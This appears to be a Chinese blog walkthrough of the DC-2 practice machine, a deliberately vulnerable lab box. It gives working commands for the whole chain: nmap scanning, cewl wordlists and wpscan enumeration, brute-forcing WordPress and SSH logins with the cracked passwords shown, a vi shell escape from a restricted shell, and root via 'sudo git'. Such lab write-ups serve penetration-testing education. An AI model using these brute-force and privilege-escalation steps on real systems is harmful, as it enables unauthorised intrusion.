文章目录

DC-2靶机

由 device 发布

2021.10.7

2022.1.9

1.
nmap -sS -sV -O -p- 192.168.1.4

80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)

http://dc-2/

2.
访问之,无法访问,在hosts添加域名,访问成功flag1:提示cewl

CMS wordpress4.7.10
Mysql
PHP

3.
使用cewl工具制作密码本,命令:
cewl http://dc-2/ -v -w passwd.txt

4.使用dirmap跑后台,找爆破点

http://dc-2/wp-includes/    目录泄露
http://dc-2/wp-admin/    后台页面

5.
搜索wordpress漏洞扫描,发现wpscan工具

6.
使用命令
wpscan -e u -vp -vt --url http://dc-2/
探测该页面存在的的用户名以及相关插件、主题的漏洞

Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] jerry
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] tom
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

7.
制作用户名列表,使用wpscan进行爆破,命令:
wpscan --url http://dc-2/ --usernames username.txt --passwords passwd.txt
得到密码:

 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

8.
使用得到的密码登录jerry帐号,发现flag2。提示:
If you can't exploit WordPress and take a shortcut, there is another way.

9.
使用hydra爆破ssh端口
hydra -V -L username.txt -P passwd.txt 192.168.1.4 -s 7744 ssh
没有结果,直接尝试使用之前得到的密码,jerry帐号无法登录,登录了tomd的帐号

10.
无法使用whoami,权限被限制的很死。尝试查看可用命令。
echo $PATH :/home/tom/usr/bin tom用户的环境变量/也可以使用命令 export 输出环境变量
cd usr/bin :less ls scp vi 也就是只用这几个命令可用
vi flag3.txt :Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.提示我们需要切换到jerry的目录。

11.
vi /etc/passwd : 发现了jerry的目录/home/jerry。ls该目录找到flag4,使用vi访问之
vi /home/jerry/flag4.txt :Go on - git outta here!!!!
提示Git提权
vim的SUIDs提权:在vim中输入 :set shell=/bin/bash :shell 获得一定的权限。

export PATH=$PATH:/bin
export PATH=$PATH:/usr/bin

将/bin和/usr/bin添加到PATH中,提权。
su切换到jerry用户,成功。至此已经获得了相对较高的权限。

12.
查看目前用户可执行与无法执行的指令: sudo -l
输出:

Matching Defaults entries for jerry on DC-2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2:
    (root) NOPASSWD: /usr/bin/git

可以不需要密码执行git命令,直接进行git提权

sudo git help config
!/bin/bash

切换到root权限。


暂无评论

发表评论